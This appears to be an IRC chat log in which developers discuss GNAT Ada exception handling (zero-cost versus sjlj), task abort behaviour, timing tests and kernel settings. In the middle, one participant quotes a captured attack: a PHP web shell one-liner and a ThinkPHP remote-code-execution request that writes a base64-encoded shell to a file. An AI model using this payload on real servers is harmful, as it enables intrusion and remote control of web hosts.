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a111: Logged on 2019-02-12 18:27 diana_coman: hence I wanted to actually add some handlers in there and see but atm it's still working on the full run loops-only so will see after that

asciilifeform: diana_coman: iirc winblows ~also~ only zcx.

deedbot: Invoiced mircea_popescu 0.05780660 << S.MG rental server monthly

asciilifeform: diana_coman: ffacalc fwiw builds an' runs on crapple, but only in 'debug' (misnomer, you can't actually debug..) mode

asciilifeform: diana_coman: gnat on crapple , i am surprised that it worx at all.

asciilifeform: diana_coman: i suspect then , that i was right re http://btcbase.org/log/2019-02-12#1895287 ☝︎

asciilifeform: diana_coman: when that thing is done running, plox to tar it up, i'ma replicate on other irons ( if effect is cache-sensitive, may show diff b/w irons )

a111: Logged on 2019-02-12 14:53 diana_coman: about 0.45 secs per run reported (without long jump)

a111: Logged on 2019-02-12 08:00 diana_coman: http://btcbase.org/log/2019-02-12#1895120 -> yep, that was precisely my ref when looking at Ada multi-threading and what support it offers; it actually reads a bit better than the barnes' progr in 2012 but it's more focused, obv

asciilifeform: http://btcbase.org/log/2019-02-12#1895198 << btw diana_coman , if you know of other readables , plox to post (or at least the titles, i can dig up with own hands ) ; i oughta have posted burnes et al earlier, but seems like errybody is allergic to scans , so didn't hurry . and lemme know if you end up wanting others, i have the 'spark' text for instance. ☝︎

asciilifeform: ( and in the FG reader -- again cuz the underlying i/o routines produce'em )

asciilifeform: ( ffacalc ~does~ have a handler, strictly for trapping invalid cmdline args, ln. 75. )

a111: Logged on 2015-06-22 21:22 mircea_popescu: ascii_field this goes right into our discussion about how the only reason lisp is ok where c is shot is that the hordes haven't sat on lisp but on c, would have been the other way around if they had sat the other way.

asciilifeform: mircea_popescu: i associate shitoverflow with articles like 'how do i cast 'fireball' in real life?' ( actual find ) ☟︎☟︎☟︎

asciilifeform: mircea_popescu: you dun make timeouts using magic periphs, but using the os scheduler ( which in turn uses interrupt controller , having oscillator of some form so you can do slices )

asciilifeform: mircea_popescu: this is an ancient evil, was called 'abstraction inversion'

asciilifeform: but also agree with mircea_popescu , you gotta have a way to halt a wedged device i/o at least.

asciilifeform: mircea_popescu: recall that an exception differs from other control transfers in that it can unwind the call stack

mircea_popescu: diana_coman in ~principle~ zero cost exception handling is this thing : ~instead~ of calling code when exceptions arise, you instead unroll all calls in place, where exceptions might arise. this way you don't get a run-time penalty (because you paid for it in code space)

diana_coman: mircea_popescu, so up to v, that's clear enough, lol

mircea_popescu: diana_coman http://p.bvulpes.com/pastes/6d1R4/?raw=true << like that.

asciilifeform: diana_coman: it's a riotously inept naming yea

mircea_popescu: diana_coman did you actually only do a b c ?

diana_coman: mircea_popescu, such a thing? http://p.bvulpes.com/pastes/YaMpS/?raw=true

asciilifeform: mircea_popescu: in that sense ideal test is empty loop, rather than loop containing an item that is simply heavy but not on acct of jumpism

a111: Logged on 2019-02-12 14:05 diana_coman: mircea_popescu, eucrypt's test on Serpent seem good candidates as one can even adjust how many iterations to do if you want some specific time intervals; current full test of the serpent module (including i/o because of using test vectors in file) is reported by time at ~2.3s without sjlj; this has no tasks/exceptions as such;thing is: time is not extremely precise but I could run I suppose some 1k times and see

asciilifeform: currently diana_coman is the 'test all gnat knobs' pioneer; asciilifeform's item is deliberately spartan re what is used, as it was designed to run even on e.g. msdos, where there are no threads

asciilifeform: ( just as not yet used task system prior to diana_coman uncrating it )

asciilifeform: mircea_popescu: there's also the ada.interrupts package, which actually sets up signal handlers. if all you want is emergency stop of thread, that'll do it

mircea_popescu: exactly what i had in mind for "hey diana_coman check this" if you returned true.

asciilifeform: mircea_popescu: the obvious use case is e.g. dead FG

asciilifeform: i think mircea_popescu is suggesting to try with ~input~ block

asciilifeform: diana_coman: specifically http://btcbase.org/log/2019-02-12#1895105 ☝︎

diana_coman: so hm, if you have a put_line and then the infinite loop, does that still work?

diana_coman: but put_line doesn't block, no?

asciilifeform: diana_coman: correct, if you throw e.g. a put_line in there, the async select worx (from which you can then abort)

asciilifeform: mircea_popescu: it only worx if you http://btcbase.org/log/2019-02-12#1895105 (i.e. add a 'delay' or i/o instruction (interestingly, the latter always work as abort-point , but only for the async select method ) ☝︎

asciilifeform: mircea_popescu: 'abort point' control transfer aint 'zero cost', lol, it adds cost to ~loops~

asciilifeform: mircea_popescu: still eating log, not yet seen what diana_coman is baking

a111: Logged on 2019-02-12 13:03 diana_coman: bvt's investigation of my ada-won-t-stop test program: http://p.bvulpes.com/pastes/sRqWV/?raw=true

mircea_popescu: diana_coman does the example not make sense ?

diana_coman: mircea_popescu, eucrypt's test on Serpent seem good candidates as one can even adjust how many iterations to do if you want some specific time intervals; current full test of the serpent module (including i/o because of using test vectors in file) is reported by time at ~2.3s without sjlj; this has no tasks/exceptions as such;thing is: time is not extremely precise but I could run I suppose some 1k times and see ☟︎

mircea_popescu: diana_coman do you have a non-trivial (non-huge) ada that you could run once with sjlj and once with zcx in a timing harness so we can get some data ? ideally something that takes 100-1000ms or so.

diana_coman: nope, pragma abort_defer doesn't help (it has to be outside loop because it's not accepted anywhere other than immediately after begin and program is stuck just the same)

mircea_popescu: diana_coman what happens if you actually put a pragma Abort_Defer in the loop ?

mircea_popescu: diana_coman possibly because of how they do that binder table bs

mircea_popescu: diana_coman this is so fucking retarded, "our thing does not implement the standard". RATIONALE ?

diana_coman: from the horse's mouth at https://docs.adacore.com/gnat_ugn-docs/html/gnat_ugn/gnat_ugn/platform_specific_information.html : "the zcx run-time does not support asynchronous abort of tasks (abort and select-then-abort constructs) and will instead implement abort by polling points in the runtime. You can add additional polling points explicitly if needed in your application via pragma Abort_Defer."

a111: Logged on 2019-02-12 03:54 mircea_popescu: that's the fucking cost of being a raging asshole.,

mircea_popescu: diana_coman it looks like we'll end up with a patched tmsr-gnat.

bvt: mircea_popescu: i will become blog post, but when i get to the home machine.

bvt: diana_coman: i agree; in the abort signal handler, there is a snippet of code that ignores the signal (given ZXC exception handling model).

diana_coman: mircea_popescu, the check is in the TEST code

diana_coman: mircea_popescu, I'm not aware of anything directly equivalent

diana_coman: mircea_popescu, my hope is that maybe there is some flag or option that sets it; I'll have to dig deeper to find out exactly

mircea_popescu: diana_coman is this abort-handler something you can define from within your proggy ?

diana_coman: hm, asciilifeform from what I see at a quick glance in that s-taprop-linux__adb it actually calls pthread_kill ONLY if "abort_handler_installed" and that in turn seems set only if not some default state ? might be a clue to follow perhaps, I haven't dug much deeper yet

a111: Logged on 2019-02-10 16:03 diana_coman: I also tried asynchronous transfer i.e. supposedly "try this and if timeout then do that" but apparently it's in fact still "oh, but ONLY if abortable"

asciilifeform: i'ma document the fuckwaddery ( unless diana_coman beat me to it )

a111: Logged on 2019-02-12 01:34 asciilifeform: for total thread-completeness, there is a workaround that works, but it is imho ugly ( ada 'interrupts' package ), i'ma post example if mircea_popescu et al ask.

a111: Logged on 2018-10-26 02:14 asciilifeform: meanwhile, in gnat bugs : apparently ( and this is documented or mentioned nowhere ) : it is impossible to have a Ada.Finalization.Limited_Controlled type ANYWHERE inside a static library, unless it is generic all the way down (i.e. if the lib package is generic, any sub-packages must also be instantiated as generics )

asciilifeform: mircea_popescu: when you get'em tied to the flogging post, make'em pay for the http://btcbase.org/log/2018-10-26#1866266 also.. ☝︎

asciilifeform: will see what diana_coman dug out also, whoknows maybe i botched it somehow

asciilifeform: mircea_popescu: i'ma article about it when i finish up raging

a111: Logged on 2019-02-11 03:03 mircea_popescu: IF YOU LOVE ME YOU NEVER FORCE ME TO DO THIS SORTA THING!!!

asciilifeform: for total thread-completeness, there is a workaround that works, but it is imho ugly ( ada 'interrupts' package ), i'ma post example if mircea_popescu et al ask. ☟︎

asciilifeform: ( the thing ~contains~ pthread_kill ! but it dun get called for somereason. )

asciilifeform: diana_coman et al : meanwhile in useful debugologies : if you use gpr with gnatD flag , you get copies of the expanded sores of yer proggy

asciilifeform: and in particular, ln. 1079 of s-taprop-linux.adb , which implements the pthread mechanics behind the gnat scheduler

asciilifeform: ln. 163 of s-tasini.adb ;

asciilifeform: so then went to the standard docs. annex D ~in fact does~ mandate support for mircea_popescu-style 'halon switch, motherfucker' aborts. so then went to find , does gnat implement ?

asciilifeform: sooo went to experiment, and found that not only does diana_coman's async abort dunwork on ave1gnat , but even ordinary timeout abort behaves peculiarly (per the std) :

asciilifeform: diana_coman, mircea_popescu , et al : results of experiment & gnat src archaeology below :

BingoBoingo: Notice I didn't use the Pantsuit term. If anything we ought to preserve 'deadnaming' in our namespace for characters like bitcoin_charlie, Nefario, Taaki, Toomim, et al. Actual dead names whether or not the corresponding meat recieves oxygen.

asciilifeform: mircea_popescu: it aint a 'sexy' looking item, really, resembles mini fridge , only with buttons/lcd thing

asciilifeform: mircea_popescu: only ~70kg, but slippery fucker, wrapped in kilometre of cellophane

asciilifeform: mircea_popescu: there's 2 'symbiotic' sets of africans involved, 'voodoo' and 'hoodoo' practitioners, if you will

asciilifeform: payload, btw, is CnluXun<?php @eval($_POST['lx']);?>

asciilifeform: s=index/\think\view\driver\Php/display&content=${@print(eval(phpinfo().fputs(fopen('lx.php','w'),base64_decode('Q25sdVh1bjw/cGhwIEBldmFsKCRfUE9TVFsnbHgnXSk7Pz4='))))} << lulzy

a111: Logged on 2019-02-11 16:32 mircea_popescu: meanwhile in antiqua from five years ago, http://trilema.com/2014/ca-tot-s-a-tras-tot-s-a-fumat-tot-s-a-baut-tot-cum-e-peste-tot-la-fel-ca-peste-tot/#selection-75.93-75.115

a111: Logged on 2019-02-11 16:16 mircea_popescu: meanwhile in latest http://btcbase.org/log/2018-08-01#1838630 lulz : http://p.bvulpes.com/pastes/qx6lq/?raw=true

asciilifeform: guten morgen mircea_popescu !

asciilifeform: diana_coman: i found in my notes from 'programming of hell' a possible pill for the async stop thing, will report once i verify that it actually cures , on the actual gnat

a111: Logged on 2019-02-11 01:33 hanbot: diana_coman fwiw i ran into a few broken internal links on ossasepia today on account of their still pointing to dianacoman.com, see http://ossasepia.com/2018/03/08/eucrypt-compilation-sheet/ fo' instance.

BingoBoingo: <mircea_popescu> (but, in other good news, your pingback thing also works fine.) << ty, Lardner set me on a re-reading binge

asciilifeform: mircea_popescu: a++ plantator hat

asciilifeform: diana_coman et al : http://p.bvulpes.com/pastes/4SpwP/?raw=true << built, replicated test jig; i'ma lay the thing out on vivisection table properly after sleep ( spent today , among other things, fixing a furnace, bent wrists out , gotta let'em snap back )

asciilifeform: mircea_popescu: this goes way back. lemme dig up a recently-found sad :

asciilifeform: mircea_popescu: these dun exist in the ru warez libs either

a111: Logged on 2017-09-09 18:34 mircea_popescu: http://btcbase.org/log/2017-09-09#1711610 << loller. shakespeare, one of the oldest and most established audre lorde

asciilifeform: BingoBoingo: the other solution is that the folx who did the orig scan actually give half a shit and proofread. but this is evidently not ever happening in anglostan outside of dedicated effort like mircea_popescu's

BingoBoingo: asciilifeform: The solution to OCR is castle scribes spending man centuries, as mircea_popescu is deploying with Bimbo

mircea_popescu: omfg Mocky_ how do i link to a specific comment on your site!111

a111: Logged on 2019-02-10 20:51 mircea_popescu: http://btcbase.org/log/2019-02-10#1894713 << i specifically don't even WANT the "rich media" / dvds / epubs / pdfs / whatever bullshit. i don't even want their pagelong blathers about how all-important inca is or whatever shit.

asciilifeform: mircea_popescu: good % of the flagolade is auto-set by the configurator, it's not exactly a civilized product

mircea_popescu: asciilifeform yeah, and has to set things nine different times because reasons. CONFIG_NORLYNOT32BiT=y #(note the i in there!)

asciilifeform: mircea_popescu: it's a reasonably compact kernel, to support various items currently in standard use, raid card, FG serial dongles, iptables.

mircea_popescu: CONFIG_64BIT=y CONFIG_X86_64=y CONFIG_X86=y << always a pleasure to read these.

a111: Logged on 2019-01-19 17:56 asciilifeform: briefly revisiting the http://btcbase.org/log/2019-01-18#1888182 find : 'CONFIG_RETPOLINE=n' yields a working kernel (with gcc 4.x), for nao.